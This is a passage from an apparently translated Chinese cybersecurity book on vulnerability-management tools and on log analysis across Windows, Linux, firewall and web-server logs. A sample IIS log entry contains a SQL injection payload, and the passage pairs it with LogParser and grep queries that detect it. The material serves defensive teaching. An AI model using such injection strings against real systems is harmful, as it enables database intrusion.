那么,如果你有更多的计算机怎么办?PSI 的相同扫描功能也可以在商业版中使用:Secunia 企业软件检查器CSI),可以在www.flexera.com/enterprise/products/software-vulnerability-management/corporate-software-inspector/找到。

CSI 还提供与现有的 Microsoft 部署工具 SCCM 和 WSUS 的完整集成,因此你现在可以像部署 Microsoft 更新一样管理非 Microsoft 更新的关键补丁部署。

Secunia CSI 提供漏洞情报、漏洞扫描、补丁创建和补丁部署工具,有效应对第三方应用程序补丁管理的挑战。

结论

组织正在面临被迫迅速应对日益增加的网络安全威胁的压力。由于攻击者已经采用了攻击生命周期,组织也被迫提出了漏洞管理生命周期。漏洞管理生命周期旨在以最快、最有效的方式应对攻击者的努力。本章讨论了从漏洞管理战略角度出发的漏洞管理生命周期。它包括了资产清单创建、信息流管理、风险评估、漏洞评估、报告与修复,以及最终的适当响应规划等步骤。并阐述了每一步在漏洞管理阶段中的重要性,以及如何执行这些步骤。资产清单被描述为战略的关键部分,因为它是列出所有主机详细信息的地方,有助于彻底清理可能存在漏洞的所有设备。信息管理步骤的关键功能是以快速可靠的方式传播信息,这一功能也得到了强调,并介绍了常用的工具。风险评估步骤中的风险识别与分类功能也得到了讨论。漏洞评估阶段则讨论了如何识别主机中的漏洞。报告与修复跟踪在告知所有相关方并跟进修复方面的作用也有所提及。最后,本章还讨论了在响应规划步骤中最终执行所有响应措施的过程。此外,还讨论了成功完成每个步骤的最佳实践。

参考文献

  1. K. Rawat, 今天的库存管理系统:实现印度商业最佳实践的工具, Anusandhanika, 第 7 卷, (1), 页 128-135, 2015. 可获得: search.proquest.com/docview/1914575232?accountid=45049.

  2. P. Doucek, 信息管理的影响, FAIMA 商业与管理期刊, 第 3 卷, (3), 页 5-11, 2015. 可获得: search.proquest.com/docview/1761642437?accountid=45049.

  3. C. F. Mascone, 保持工业控制系统安全, 化学工程进展, 第 113 卷, (6), 页 3, 2017. 可获得: https://search.proquest.com/docview/1914869249?accountid=45049

  4. T. Lindsay, "LANDesk 管理套件 / 安全套件 9.5 L... | Ivanti 用户社区", Community.ivanti.com, 2012. [在线]. 可获得: community.ivanti.com/docs/DOC-26984. [访问时间:2017 年 8 月 27 日].

  5. I. Latis Networks,"atis Networks",Bloomberg.com,2017 年。[在线]。可用链接:www.bloomberg.com/research/stocks/private/snapshot.asp?privcapId=934296。[访问时间:2017 年 8 月 27 日]。

  6. CERT 部门,Cert.org,2017 年。[在线]。可用链接:www.cert.org。[访问时间:2017 年 8 月 27 日]。

  7. SecurityFocus,Securityfocus.com,2017 年。[在线]。可用链接:www.securityfocus.com。[访问时间:2017 年 8 月 27 日]。

  8. IT 安全威胁,Securityresponse.symantec.com,2017 年。[在线]。可用链接:securityresponse.symantec.com。[访问时间:2017 年 8 月 27 日]。

  9. G. W. Manes 等,NetGlean: 一种分布式网络安全扫描方法,《网络与系统管理期刊》,第 13 卷,(3),第 329-344 页,2005 年。[在线]。可用链接:search.proquest.com/docview/201295573?accountid=45049。DOI:dx.doi.org/10.1007/s10922-005-6263-2

  10. Foundstone 服务,Mcafee.com,2017 年。[在线]。可用链接:www.mcafee.com/us/services/foundstone-services/index.aspx。[访问时间:2017 年 8 月 27 日]。

摘要

本章概述了组织应对攻击者时需要提供的响应类型。前几章讨论了攻击生命周期,并概述了攻击者通常携带的工具和技术。基于这些工具和技术,设计了一个可以减轻攻击的生命周期。本章讨论了一个有效的漏洞管理生命周期,该生命周期由六个步骤组成。每个步骤旨在确保生命周期在减轻攻击者可能利用的组织漏洞方面既有效又全面。经过精心规划的生命周期确保组织网络中的每个主机都不会暴露在攻击者面前。该生命周期还确保组织最终拥有一个完全安全的 IT 环境,并且攻击者很难找到可以利用的漏洞。本章为生命周期的每个步骤提供了一套最佳实践。这些最佳实践旨在确保事故响应团队和 IT 工作人员充分利用每个步骤来确保组织的安全。在下一章中,您将学习日志的重要性以及如何分析它们。

第十六章:日志分析

在第十三章《调查事件》中,您学习了调查过程以及在调查问题时寻找正确信息的一些技巧。然而,要调查一个安全问题,通常需要查看来自不同厂商和不同设备的多个日志。虽然每个厂商的日志中可能包含一些自定义字段,但现实是,一旦学会了如何读取日志,您就可以更容易地切换厂商,并只专注于该厂商的差异。虽然有许多工具可以自动化日志聚合,例如 SIEM 解决方案,但在某些情况下,您需要手动分析日志以找出根本原因。

在本章中,我们将涵盖以下主题:

  • 数据关联

  • 操作系统日志

  • 防火墙日志

  • Web 服务器日志

数据关联

毋庸置疑,大多数组织将使用某种 SIEM 解决方案,将所有日志集中到一个位置,并使用自定义查询语言在日志中进行搜索。虽然这是当前的现实,但作为一名安全专业人员,您仍然需要知道如何浏览不同的事件、日志和文档,以进行更深入的调查。很多时候,从 SIEM 中获得的数据对于识别威胁、威胁行为者以及缩小受影响的系统范围非常有用,但在某些情况下,这还不够;您需要找到根本原因并根除威胁。

因此,每次进行数据分析时,考虑拼图各部分如何协同工作是非常重要的。

下图展示了这种数据关联方法在查看日志时的一个示例:

让我们看看这个流程图是如何工作的:

  1. 调查员开始检查操作系统日志中的妥协迹象。在操作系统中发现了许多可疑活动,且在查看 Windows 预取文件后,可以得出结论:一个可疑的进程与外部实体建立了通信。现在是时候查看防火墙日志,以便验证有关此连接的更多信息。

  2. 防火墙日志揭示,工作站与外部网站之间的连接是通过 TCP 在 443 端口建立的,并且是加密的。

  3. 在此通信过程中,从外部网站到内部 Web 服务器发起了回调。现在是时候查看 Web 服务器日志文件了。

  4. 调查员通过查看此 Web 服务器中的 IIS 日志,继续进行数据关联过程。他发现攻击者尝试对该 Web 服务器发起 SQL 注入攻击。

如您从这个流程图中看到的,访问哪些日志、您正在寻找什么信息,以及最重要的是,如何以一种有上下文的方式查看所有这些数据背后是有逻辑的。

操作系统日志

操作系统中可用的日志类型可能会有所不同;在本书中,我们将重点关注从安全角度来看相关的核心日志。我们将使用 Windows 和 Linux 操作系统来演示这一点。

Windows 日志

在 Windows 操作系统中,最相关的安全日志可以通过事件查看器访问。在 第十三章《事件调查》中,我们讨论了在调查过程中应当查看的最常见事件。虽然这些事件可以很容易地在事件查看器中找到,但你也可以在 Windows\System32\winevt\Logs 目录下获取这些单独的文件,具体可以参考下面的截图:

然而,操作系统中的日志分析并不仅限于操作系统提供的日志信息,特别是在 Windows 中。你可以利用其他信息来源,包括预取文件(Windows Prefetch)。这些文件包含有关进程执行的相关信息。当你试图了解是否执行了恶意进程以及第一次执行时采取了哪些操作时,它们可能会非常有用。

在 Windows 10 中,你还可以查看 OneDrive 日志(C:\Users\<USERNAME>\AppData\Local\Microsoft\OneDrive\logs),这些日志可能非常有用。如果你在进行数据提取调查,这里可能是一个不错的地方,可以用来验证是否有任何不当行为发生。查看 SyncDiagnostics.log 获取更多信息。

要解析 Windows Prefetch 文件,可以使用这个 Python 脚本://github.com/PoorBillionaire/Windows-Prefetch-Parser

另一个重要的文件位置是 Windows 存储用户模式崩溃转储文件的地方,即 C:\Users\<username>\AppData\Local\CrashDumps。这些崩溃转储文件是重要的证据,可以用来识别系统中的潜在恶意软件。

在转储文件中可能暴露的一种常见攻击类型是代码注入攻击。这种攻击发生在可执行模块被插入到正在运行的进程或线程中时。这种技术大多数情况下被恶意软件用来访问数据,隐藏自己或防止被删除(例如持久性)。需要强调的是,合法的软件开发人员有时也会出于非恶意的原因使用代码注入技术,比如修改现有的应用程序。

要打开这些转储文件,你需要一个调试器,比如 WinDbgwww.windbg.org),并且需要具备正确的技能,才能在转储文件中导航,找出崩溃的根本原因。如果你没有这些技能,也可以使用 Instant Online Crash Analysiswww.osronline.com)。

以下结果是使用此在线工具进行自动化分析的简要总结(需要跟进的主要领域已加粗):

TRIAGER: Could not open triage file : e:dump_analysisprogramtriageguids.ini, error 2 
TRIAGER: Could not open triage file : e:dump_analysisprogramtriagemodclass.ini, error 2 
GetUrlPageData2 (WinHttp) failed: 12029\. 
*** The OS name list needs to be updated! Unknown Windows version: 10.0 *** 

FAULTING_IP:  
eModel!wil::details::ReportFailure+120 
00007ffe`be134810 cd29            int     29h 

EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff) 
ExceptionAddress: 00007ffebe134810 (eModel!wil::details::ReportFailure+0x0000000000000120) 
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001 
NumberParameters: 1 
Parameter[0]: 0000000000000007 

PROCESS_NAME: MicrosoftEdge.exe

EXCEPTION_CODE: (NTSTATUS) 0xc0000409

系统检测到该应用程序中发生了基于栈的缓冲区溢出。这种溢出可能允许恶意用户控制该应用程序。

EXCEPTION_PARAMETER1:  0000000000000007 

NTGLOBALFLAG:  0 

APPLICATION_VERIFIER_FLAGS:  0 

FAULTING_THREAD:  0000000000003208 

BUGCHECK_STR:  APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SEHOP 
 PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_SEHOP DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN_SEHOP 

LAST_CONTROL_TRANSFER:  from 00007ffebe1349b0 to 00007ffebe134810 

STACK_TEXT:   
000000d4`dc4fa910 00007ffe`be1349b0 : ffffffff`ffffffec 00007ffe`df5e0814 000000d4`dc4fc158 000002bb`a1d20820 : eModel!wil::details::ReportFailure+0x120 
000000d4`dc4fbe50 00007ffe`be0fa485 : 00000000`00000000 00007ffe`df5ee52e 000002bb`ac0f5101 00007ffe`be197771 : eModel!wil::details::ReportFailure_Hr+0x44 
000000d4`dc4fbeb0 00007ffe`be0fd837 : 000002bb`ab816b01 00000000`00000000 00000000`00010bd8 000002bb`00000000 : eModel!wil::details::in1diag3::FailFast_Hr+0x29 
000000d4`dc4fbf00 00007ffe`be12d7dd : 00000000`00010bd8 00000000`00000000 00000000`80070001 000000d4`dc4ffa60 : eModel!FailFastOnReparenting+0xf3 
000000d4`dc4ffc00 00007ffe`be19e5b8 : 000002bb`ab816b20 00000000`00000000 00000000`00000000 000002bb`a16b7bb8 : eModel!SetParentInBrokerInternal+0x40b5d 
000000d4`dc4ffc40 00007ffe`be19965c : 00000000`00000000 000002bb`ac0f51f0 000002bb`ac0f51f4 000002bb`ac0f50c0 : eModel!CTabWindowManager::_AttemptFrameFastShutdown+0x118 
000000d4`dc4ffc90 00007ffe`be19634e : 000002bb`c0061b00 000000d4`dc4ffd00 00007ffe`be0a9e00 00000000`00000001 : eModel!CTabWindowManager::CloseAllTabs+0x6c 
000000d4`dc4ffcd0 00007ffe`be114a0b : 00000000`00000000 00007ffe`be0a9ed0 000002bb`c0061b00 000002bb`c0061b00 : eModel!CBrowserFrame::_OnClose+0x106 
000000d4`dc4ffd50 00007ffe`be07676e : 00000000`00000000 00000000`00000000 00000000`00000000 000002bb`c00711f0 : eModel!CBrowserFrame::FrameMessagePump+0x6e63b 
000000d4`dc4ffe30 00007ffe`be076606 : 000002bb`00032401 000002bb`c0061b00 000000d4`dc4fff50 000002bb`c00711f0 : eModel!_BrowserThreadProc+0xda 
000000d4`dc4ffeb0 00007ffe`be0764a9 : 00000000`00000001 000002bb`c0071218 000000d4`dc4fff50 00000000`00000000 : eModel!_BrowserNewThreadProc+0x56 
000000d4`dc4ffef0 00007ffe`dea68364 : 000002bb`aae03cd0 00000000`00000000 00000000`00000000 00000000`00000000 : eModel!SHOpenFolderWindow+0xb9 
000000d4`dc4fff60 00007ffe`e13470d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14 
000000d4`dc4fff90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 

在由即时在线崩溃分析完成的崩溃分析中,我们发现 Microsoft Edge 中发生了基于栈的缓冲区溢出。现在,您可以将此日志(发生崩溃的日期)与事件查看器中的其他信息(安全和应用程序日志)进行关联,以验证是否有可疑进程正在运行,可能已经获得对该应用程序的访问权限。记住,最终,您需要进行数据关联,才能获得关于特定事件及其罪魁祸首的更有力的信息。

Linux 日志

在 Linux 中,有许多日志可以用来查找与安全相关的信息。主要日志之一是位于/var/log下的auth.log,它包含所有与认证相关的事件。

这是该日志的一个示例:

Nov  5 11:17:01 kronos CRON[3359]: pam_unix(cron:session): session opened for user root by (uid=0) 
Nov  5 11:17:01 kronos CRON[3359]: pam_unix(cron:session): session closed for user root 
Nov  5 11:18:55 kronos gdm-password]: pam_unix(gdm-password:auth): conversation failed 
Nov  5 11:18:55 kronos gdm-password]: pam_unix(gdm-password:auth): auth could not identify password for [root] 
Nov  5 11:19:03 kronos gdm-password]: gkr-pam: unlocked login keyring 
Nov  5 11:39:01 kronos CRON[3449]: pam_unix(cron:session): session opened for user root by (uid=0) 
Nov  5 11:39:01 kronos CRON[3449]: pam_unix(cron:session): session closed for user root 
Nov  5 11:39:44 kronos gdm-password]: pam_unix(gdm-password:auth): conversation failed 
Nov  5 11:39:44 kronos gdm-password]: pam_unix(gdm-password:auth): auth could not identify password for [root] 
Nov  5 11:39:55 kronos gdm-password]: gkr-pam: unlocked login keyring 
Nov  5 11:44:32 kronos sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/apt-get install smbfs 
Nov  5 11:44:32 kronos sudo: pam_unix(sudo:session): session opened for user root by root(uid=0) 
Nov  5 11:44:32 kronos sudo: pam_unix(sudo:session): session closed for user root 
Nov  5 11:44:45 kronos sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/apt-get install cifs-utils 
Nov  5 11:46:03 kronos sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/mount -t cifs //192.168.1.46/volume_1/temp 
Nov  5 11:46:03 kronos sudo: pam_unix(sudo:session): session opened for user root by root(uid=0) 
Nov  5 11:46:03 kronos sudo: pam_unix(sudo:session): session closed for user root 

上述日志来自 Kali 发行版;RedHat 和 CentOS 会在/var/log/secure下存储类似的信息。如果您只想查看失败的登录尝试,请使用var/log/faillog中的日志。

防火墙日志

防火墙日志格式因供应商而异;然而,无论平台如何,都会有一些核心字段。在查看防火墙日志时,您必须重点回答以下问题:

  • 谁发起了这次通信(源 IP)?

  • 那次通信的目标在哪里(目标 IP)?

  • 哪种类型的应用程序试图访问目标(传输协议和端口)?

  • 防火墙是否允许或拒绝了该连接?

以下代码是Check Point防火墙日志的一个示例;在此案例中,我们为保护隐私隐藏了目标 IP:

"Date","Time","Action","FW.Name","Direction","Source","Destination","Bytes","Rules","Protocol" 
"datetime=26Nov2017","21:27:02","action=drop","fw_name=Governo","dir=inbound","src=10.10.10.235","dst=XXX.XXX.XXX.XXX","bytes=48","rule=9","proto=tcp/http" 
"datetime=26Nov2017","21:27:02","action=drop","fw_name=Governo","dir=inbound","src=10.10.10.200","dst=XXX.XXX.XXX.XXX","bytes=48","rule=9","proto=tcp/http" 
"datetime=26Nov2017","21:27:02","action=drop","fw_name=Governo","dir=inbound","src=10.10.10.2","dst=XXX.XXX.XXX.XXX","bytes=48","rule=9","proto=tcp/http" 
"datetime=26Nov2017","21:27:02","action=drop","fw_name=Governo","dir=inbound","src=10.10.10.8","dst=XXX.XXX.XXX.XXX","bytes=48","rule=9","proto=tcp/http" 

在此示例中,规则编号 9 处理了所有这些请求,并拒绝了来自10.10.10.8的所有连接尝试。现在,利用相同的阅读技巧,让我们来查看一个NetScreen防火墙日志:

Nov  2 13:55:46 fire01 fire00: NetScreen device_id=fire01  [Root]system-notification-00257(traffic): start_time="2016-00-02 13:55:45" duration=0 policy_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0 rcvd=0 src=192.168.2.10 dst=8.8.8.8 src_port=3036 dst_port=7001 

Check Point 与 NetScreen 防火墙日志之间的一个重要区别是它们记录传输协议信息的方式。在 Check Point 日志中,您会看到proto字段包含传输协议和应用程序(在上述案例中是 HTTP)。NetScreen 日志则在serviceproto字段中显示类似的信息。如您所见,虽然有一些小的差异,但实际上,一旦您掌握了某个供应商的防火墙日志的阅读技巧,其他供应商的日志也会更容易理解。

您还可以通过利用iptables将 Linux 机器作为防火墙。以下是iptables.log的示例:

# cat /var/log/iptables.log 
Nov  6 10:22:36 cnd kernel: PING YuriDio IN=eth3 OUT= MAC=d8:9d:67:cd:b2:14 SRC=192.168.1.10 DST=192.168.1.88 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=1007 SEQ=2 

如果您需要查看 Windows 防火墙日志,请在C:\Windows\System32\LogFiles\Firewall中查找pfirewall.log日志文件。该日志具有以下格式:

#Version: 1.5 
#Software: Microsoft Windows Firewall 
#Time Format: Local 
#Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info path 

2017-12-22 07:38:54 ALLOW TCP 169.254.211.124 169.254.211.124 63863 4369 0 - 0 0 0 - - - SEND 
2017-12-22 07:38:54 ALLOW TCP 169.254.211.124 169.254.211.124 63863 4369 0 - 0 0 0 - - - RECEIVE 
2017-12-22 07:38:55 ALLOW UDP 169.254.125.142 169.254.255.255 138 138 0 - - - - - - - SEND 
2017-12-22 07:38:55 ALLOW UDP 169.254.211.124 169.254.255.255 138 138 0 - - - - - - - SEND 
2017-12-22 07:38:55 ALLOW UDP 192.168.1.47 192.168.1.255 138 138 0 - - - - - - - SEND 

Web 服务器日志

在查看 Web 服务器日志时,特别注意与 SQL 数据库交互的 Web 应用程序所在的 Web 服务器。IIS Web 服务器的日志文件位于\WINDOWS\system32\LogFiles\W3SVC1,它们是 .log 文件,可以使用记事本打开。你也可以使用 Excel 或 Microsoft Log Parser 打开该文件并执行基本查询。

你可以从www.microsoft.com/en-us/download/details.aspx?id=24659下载 Log Parser。

在查看 IIS 日志时,特别注意cs-uri-querysc-statu*s*字段。这些字段将显示执行的 HTTP 请求的详细信息。如果你使用 Log Parser,可以针对日志文件执行查询,以快速识别系统是否遭遇 SQL 注入攻击。以下是一个示例:

logparser.exe -i:iisw3c -o:Datagrid -rtp:100 "select date, time, c-ip, cs-uri-stem, cs-uri-query, time-taken, sc-status from C:wwwlogsW3SVCXXXexTEST*.log where cs-uri-query like '%CAST%'".  

这里是一个潜在的输出示例,其中包含位于 cs-uri-query 字段中的关键字 CAST:

80 POST  /pages/Users/index.asp  ID=UT-47-TP-M17';DECLARE%20@S%20NVARCHAR(4000);SET%30@S=CAST(0x4400);EXEC(@S);--|31|80040e32|Timeout_expired     500 

注意,在这种情况下,错误代码为 500(内部服务器错误);换句话说,服务器无法完成请求。当你在 IIS 日志中看到这种活动时,应采取措施加强对该 Web 服务器的保护;一种替代方法是添加 WAF。

如果你查看的是 Apache 日志文件,访问日志文件位于/var/log/apache2/access.log,其格式也非常简洁易读,如下所示:

192.168.1.10 - - [07/Dec/2017:15:35:19 -0800] "GET /public/accounting HTTP/1.1" 200 6379 
192.168.1.10 - - [07/Dec/2017:15:36:22 -0800] "GET /docs/bin/main.php 200 46373 
192.168.1.10 - - [07/Dec/2017:15:37:27 -0800] "GET /docs HTTP/1.1" 200 4140 

如果你在寻找某条记录,还可以使用 Linux 中的cat命令,如下所示:

#cat /var/log/apache2/access.log | grep -E "CAST"  

另一种选择是使用 apache-scalp 工具,你可以从code.google.com/archive/p/apache-scalp下载该工具。

参考资料

  1. iptables: help.ubuntu.com/community/IptablesHowTo

  2. Log Parser: logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/

  3. SQL 注入查找器:wsus.codeplex.com/releases/view/13436

  4. SQL 注入备忘单:www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

总结

在本章中,你了解了在不同位置查看日志时,数据关联的重要性。你还阅读了与 Windows 和 Linux 中相关的安全日志。

接下来,你学习了如何使用 Check Point、NetScreen、iptables 和 Windows 防火墙作为示例来查看防火墙日志。

在本章的结尾,你了解了 Web 服务器日志,使用 IIS 和 Apache 作为示例。

当你读完本章,甚至是整本书时,到了回顾并反思这段网络安全旅程的时候了。非常重要的一点是,将你在这里学到的理论,结合本书中使用的实际案例,应用到你的工作环境或客户的环境中。尽管在网络安全领域并没有“一刀切”的解决方案,但这里学到的教训可以作为你未来工作的基础。威胁环境不断变化,在我们完成本书写作时,已经发现了一个新的漏洞。可能当你读完本书时,又会发现另一个漏洞。正因为如此,知识的基础如此重要,它将帮助你快速吸收新的挑战,并运用安全原则来应对威胁。保持安全!

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(113)  评论(0)    收藏  举报